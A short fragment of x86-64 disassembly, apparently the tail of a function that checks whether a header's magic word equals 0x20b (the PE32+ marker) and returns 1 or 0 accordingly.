mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x2fc4d17c1
mov eax, 0
jmp 0x2fc4d17c6
mov eax, 1
add rsp, 0x20
pop rbp
ret